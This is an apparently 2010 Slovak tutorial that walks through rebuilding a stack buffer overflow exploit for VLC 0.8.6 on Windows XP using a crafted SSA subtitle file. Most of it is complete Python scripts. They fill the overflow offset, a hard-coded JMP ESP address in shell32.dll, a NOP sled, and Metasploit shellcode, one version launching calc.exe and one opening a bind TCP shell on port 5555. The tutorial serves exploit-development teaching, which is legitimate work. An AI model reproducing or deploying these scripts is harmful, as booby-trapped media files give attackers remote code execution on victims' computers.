2010
Nasledovný exploit bol inšpirovaný kódom publikovaným 23.5. 2008 na vtedajšej najväčšej databáze verejných exploitov milw0rm.com pod názvom VLC 0.8.6d SSA Parsing Double Sh311 Universal Exploit. Ako vypovedá sám názov tohto exploitu, bol vytvorený pre VLC player verzie 0.8.6d, pre systém Windows XP (v tej dobe bez service packu). Prepis EIP registra nastáva po 152242 bitoch, následuje 16x NOP (No Operation), následne shellcode. Prepis EIP sa znova zopakuje vďaka SEH – Structured Exception Handling. Po vytvorení ssa (SubStation Alpha) súboru a otvorení vo VLC prehrávači na testovacom systéme Windows XP SP2 sa teda pochopiteľne shellcode nespustí, najskôr pre odlišnú jmp espadresu v dll knižnici.V tejto časti si asi niekto položí otázku prečo analyzovať cca 2 roky starý exploit pre rovnako staré verzie multimediálneho prehrávača? Dôvod bol načrtnutý v info článku o novej verzii analyzéra sieťových protokolov – Wireshark. V skratke teda ako sa takýto exploit rodí?
http://www.exploit-db.com/exploits/5667/
Prepis EIP registra v originálnom exploite nastal po 152242 bitoch, v našich podmienkach je ale toto číslo príliš nízke a nestačí. Vytvoríme preto Python skript s bufferom 200 000 „áčok“, resp. \x41. ASCII A = HEX \x41. Po spustení VLC 0.8.6c v Immunity debuggeri vidíme prepis EIP a ďalších registrov. 200 000 sa v tomto kroku javí ako príliš veľký buffer, je dôležité určiť presný bit. Vieme ale, že aplikácia je zraniteľná, pokračujeme úpravou skriptu.#!/usr/bin/pythonBUFFER = ‘A’*200000#BUFFER = „\x41″ * 200000EVIL = BUFFERfileHandle = open(‘eipbindrewrite.ssa’, ‘w’ )fileHandle.write(‘[Script Info]\n’)fileHandle.write(‘ScriptType: v4.00\n’)fileHandle.write(‘Title: H4f sploit\n’)fileHandle.write(‘Collisions: Normal\n\n’)fileHandle.write(‘[V4 Styles]\n\n’)fileHandle.write(‘[Events]\n’)fileHandle.write(‘Dialogue: ‘+ EVIL)fileHandle.close()
Nástroje obsiahnuté v Metasploit framework dokážu generovať unikátny string, vďaka ktorému určíme presný bit prepisujúci EIP. Pre upresnenie ide o Ruby skripty s názvom pattern_create.rb a pattern_offset.rb defaultne v systéme BackTrack v ceste /pentest/exploits/framework3/tools/. Z obrázku je jasné, že EIP register ukazuje na adresu 31644330 a ESP register na ASCII znaky Cd2…. Pre čitateľov, ktorí radi veci ručne a pomaly je možnosť rozdeliť si buffer na „A“ a „B“ ako je znázornená v ďalšom skripte. Je na zváženie, či vyhľadáme JMP ESP inštrukciu z vybranej dll pre neskoršie použitie teraz, alebo až neskôr po objavení „zázračného bitu“. CPU následne vykoná inštrukciu uloženú v adrese na ktorú ukazuje ESP register.
Rozdelíme buffer/offset na dve časti – 163 872 znakov „A“ + 7 znakov „B„. Debugger ukazuje, že EIP obsahuje znaky „A“ a rovnako aj „B„. Sme blízko, stačí chvíľa „ručného“ ladenia, debuggovania. V tomto kroku pridávame NOP – inštrukcie, ktoré slúžia pre stabilizáciu exploitu a nevykonávajú žiadnu činnosť a rovnako shellcode, ktorý vykoná požadovanú činnosť. Pre demonštráciu funkčnosti postačí jednoduchá kalkulačka. #!/usr/bin/pythonoffseta = „\x41″ * 163872offsetb = „\x42″ * 7nop = ‘\x90′*16jmpesp = ‘\x65\x82\xA5\x7C’ # 0x7CA58265 jmp ESP shell32.dll# ./msfpayload windows/exec CMD=calc.exeshellcode= („\xd9\xca\xbb\xba\x05\x4b\x7a\xd9\x74\x24\xf4\x5d\x31\xc9\xb1″„\x33\x31\x5d\x18\x83\xed\xfc\x03\x5d\xae\xe7\xbe\x86\x26\x6e“„\x40\x77\xb6\x11\xc8\x92\x87\x03\xae\xd7\xb5\x93\xa4\xba\x35″„\x5f\xe8\x2e\xce\x2d\x25\x40\x67\x9b\x13\x6f\x78\x2d\x9c\x23″„\xba\x2f\x60\x3e\xee\x8f\x59\xf1\xe3\xce\x9e\xec\x0b\x82\x77″„\x7a\xb9\x33\xf3\x3e\x01\x35\xd3\x34\x39\x4d\x56\x8a\xcd\xe7″„\x59\xdb\x7d\x73\x11\xc3\xf6\xdb\x82\xf2\xdb\x3f\xfe\xbd\x50″„\x8b\x74\x3c\xb0\xc5\x75\x0e\xfc\x8a\x4b\xbe\xf1\xd3\x8c\x79″„\xe9\xa1\xe6\x79\x94\xb1\x3c\x03\x42\x37\xa1\xa3\x01\xef\x01″„\x55\xc6\x76\xc1\x59\xa3\xfd\x8d\x7d\x32\xd1\xa5\x7a\xbf\xd4″„\x69\x0b\xfb\xf2\xad\x57\x58\x9a\xf4\x3d\x0f\xa3\xe7\x9a\xf0″„\x01\x63\x08\xe5\x30\x2e\x47\xf8\xb1\x54\x2e\xfa\xc9\x56\x01″„\x92\xf8\xdd\xce\xe5\x04\x34\xab\x19\x4f\x15\x9a\xb1\x16\xcf“„\x9e\xdc\xa8\x25\xdc\xd8\x2a\xcc\x9d\x1f\x32\xa5\x98\x64\xf4″„\x55\xd1\xf5\x91\x59\x46\xf6\xb3\x39\x09\x64\x5f\x90\xac\x0c“„\xfa\xec\x24″)EVIL = offseta + offsetb + jmpesp + nop + shellcodefileHandle = open(‘eiprewrite.ssa’, ‘w’ )fileHandle.write(‘[Script Info]\n’)fileHandle.write(‘ScriptType: v4.00\n’)fileHandle.write(‘Title: H4f sploit\n’)fileHandle.write(‘Collisions: Normal\n\n’)fileHandle.write(‘[V4 Styles]\n\n’)fileHandle.write(‘[Events]\n’)fileHandle.write(‘Dialogue: ‘+ EVIL)fileHandle.close()
#!/usr/bin/pythonoffset = „\x41″ * 163868nop = ‘\x90′*16jmpesp = ‘\x65\x82\xA5\x7C’ # 0x7CA58265 jmp ESP shell32.dll# ./msfpayload windows/exec CMD=calc.exeshellcode= („\xd9\xca\xbb\xba\x05\x4b\x7a\xd9\x74\x24\xf4\x5d\x31\xc9\xb1″„\x33\x31\x5d\x18\x83\xed\xfc\x03\x5d\xae\xe7\xbe\x86\x26\x6e“„\x40\x77\xb6\x11\xc8\x92\x87\x03\xae\xd7\xb5\x93\xa4\xba\x35″„\x5f\xe8\x2e\xce\x2d\x25\x40\x67\x9b\x13\x6f\x78\x2d\x9c\x23″„\xba\x2f\x60\x3e\xee\x8f\x59\xf1\xe3\xce\x9e\xec\x0b\x82\x77″„\x7a\xb9\x33\xf3\x3e\x01\x35\xd3\x34\x39\x4d\x56\x8a\xcd\xe7″„\x59\xdb\x7d\x73\x11\xc3\xf6\xdb\x82\xf2\xdb\x3f\xfe\xbd\x50″„\x8b\x74\x3c\xb0\xc5\x75\x0e\xfc\x8a\x4b\xbe\xf1\xd3\x8c\x79″„\xe9\xa1\xe6\x79\x94\xb1\x3c\x03\x42\x37\xa1\xa3\x01\xef\x01″„\x55\xc6\x76\xc1\x59\xa3\xfd\x8d\x7d\x32\xd1\xa5\x7a\xbf\xd4″„\x69\x0b\xfb\xf2\xad\x57\x58\x9a\xf4\x3d\x0f\xa3\xe7\x9a\xf0″„\x01\x63\x08\xe5\x30\x2e\x47\xf8\xb1\x54\x2e\xfa\xc9\x56\x01″„\x92\xf8\xdd\xce\xe5\x04\x34\xab\x19\x4f\x15\x9a\xb1\x16\xcf“„\x9e\xdc\xa8\x25\xdc\xd8\x2a\xcc\x9d\x1f\x32\xa5\x98\x64\xf4″„\x55\xd1\xf5\x91\x59\x46\xf6\xb3\x39\x09\x64\x5f\x90\xac\x0c“„\xfa\xec\x24″)EVIL = offset + jmpesp + nop + shellcodefileHandle = open(‘sploit.ssa’, ‘w’ )fileHandle.write(‘[Script Info]\n’)fileHandle.write(‘ScriptType: v4.00\n’)fileHandle.write(‘Title: H4f test sploit-VLC 0.8.6.c\n’)fileHandle.write(‘Collisions: Normal\n\n’)fileHandle.write(‘[V4 Styles]\n\n’)fileHandle.write(‘[Events]\n’)fileHandle.write(‘Dialogue: ‘+ EVIL)fileHandle.close()
#!/usr/bin/pythonoffset = „\x41″ * 163868nop = ‘\x90′*16jmpesp = ‘\x65\x82\xA5\x7C’ # 0x7CA58265 jmp ESP shell32.dll
# ./msfpayload windows/shell_bind_tcp LPORT=5555shellcode= („\xba\x2d\xd0\x06\xdc\x31\xc9\xb1\x56\xdb\xca\xd9\x74\x24\xf4″„\x5b\x31\x53\x10\x03\x53\x10\x83\xeb\xfc\xcf\x25\xfa\x34\x86″„\xc6\x03\xc5\xf8\x4f\xe6\xf4\x2a\x2b\x62\xa4\xfa\x3f\x26\x45″„\x71\x6d\xd3\xde\xf7\xba\xd4\x57\xbd\x9c\xdb\x68\x70\x21\xb7″„\xab\x13\xdd\xca\xff\xf3\xdc\x04\xf2\xf2\x19\x78\xfd\xa6\xf2″„\xf6\xac\x56\x76\x4a\x6d\x57\x58\xc0\xcd\x2f\xdd\x17\xb9\x85″„\xdc\x47\x12\x92\x97\x7f\x18\xfc\x07\x81\xcd\x1f\x7b\xc8\x7a“„\xeb\x0f\xcb\xaa\x22\xef\xfd\x92\xe8\xce\x31\x1f\xf1\x17\xf5″„\xc0\x84\x63\x05\x7c\x9e\xb7\x77\x5a\x2b\x2a\xdf\x29\x8b\x8e“„\xe1\xfe\x4d\x44\xed\x4b\x1a\x02\xf2\x4a\xcf\x38\x0e\xc6\xee“„\xee\x86\x9c\xd4\x2a\xc2\x47\x75\x6a\xae\x26\x8a\x6c\x16\x96″„\x2e\xe6\xb5\xc3\x48\xa5\xd1\x20\x66\x56\x22\x2f\xf1\x25\x10″„\xf0\xa9\xa1\x18\x79\x77\x35\x5e\x50\xcf\xa9\xa1\x5b\x2f\xe3″„\x65\x0f\x7f\x9b\x4c\x30\x14\x5b\x70\xe5\xba\x0b\xde\x56\x7a“„\xfc\x9e\x06\x12\x16\x11\x78\x02\x19\xfb\x0f\x05\xd7\xdf\x43″„\xe1\x1a\xe0\x76\x42\x93\x06\x12\xb4\xf2\x91\x8b\x76\x21\x2a“„\x2b\x89\x03\x06\xe4\x1d\x1b\x40\x32\x22\x9c\x46\x10\x8f\x34″„\x01\xe3\xc3\x80\x30\xf4\xce\xa0\x3b\xcc\x98\x3b\x52\x9e\x39″„\x3b\x7f\x48\xda\xae\xe4\x89\x95\xd2\xb2\xde\xf2\x25\xcb\x8b“„\xee\x1c\x65\xae\xf3\xf9\x4e\x6a\x2f\x3a\x50\x72\xa2\x06\x76″„\x64\x7a\x86\x32\xd0\xd2\xd1\xec\x8e\x94\x8b\x5e\x79\x4e\x67″„\x09\xed\x17\x4b\x8a\x6b\x18\x86\x7c\x93\xa8\x7f\x39\xab\x04″„\xe8\xcd\xd4\x79\x88\x32\x0f\x3a\xb8\x78\x12\x6a\x51\x25\xc6″„\x2f\x3c\xd6\x3c\x73\x39\x55\xb5\x0b\xbe\x45\xbc\x0e\xfa\xc1″„\x2c\x62\x93\xa7\x52\xd1\x94\xed\x59″)
EVIL = offset + jmpesp + nop + shellcodefileHandle = open(‘bindsploit.ssa’, ‘w’ )fileHandle.write(‘[Script Info]\n’)fileHandle.write(‘ScriptType: v4.00\n’)fileHandle.write(‘Title: H4f test sploit-VLC 0.8.6.c\n’)fileHandle.write(‘Collisions: Normal\n\n’)fileHandle.write(‘[V4 Styles]\n\n’)fileHandle.write(‘[Events]\n’)fileHandle.write(‘Dialogue: ‘+ EVIL)fileHandle.close()
Článok je úmyselne stručný v teoretických detailoch eip, esp, jmp esp, nop a praktických častiach msfencode,pattern create, pattern offset. Lepšie ako na nižšie uverených stránkach sa to napísať naozaj nedá. Corelan demonštruje vývoj exploitu pre Easy RM to MP3 Conversion Utility a Grey Corner pre už spomínaný Minishare exploit.Pri stack based overflow je princíp zhruba rovnaký, v jazykoch ako sú Python a Perl ľahko implementovateľný.
Referencie:
http://www.corelan.be:8800/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/
http://grey-corner.blogspot.com/2010/01/beginning-stack-based-buffer-overflow.html
Súvisiace články: Prepisujeme exploit just 4 fun |pvefindaddr|, Smashing the stack in 2010 ?!?, mona.py – PyCommand pre Immunity Debugger, Prepisujeme exploit just 4 fun |SEH|





















Žádný komentář.
Přidat komentář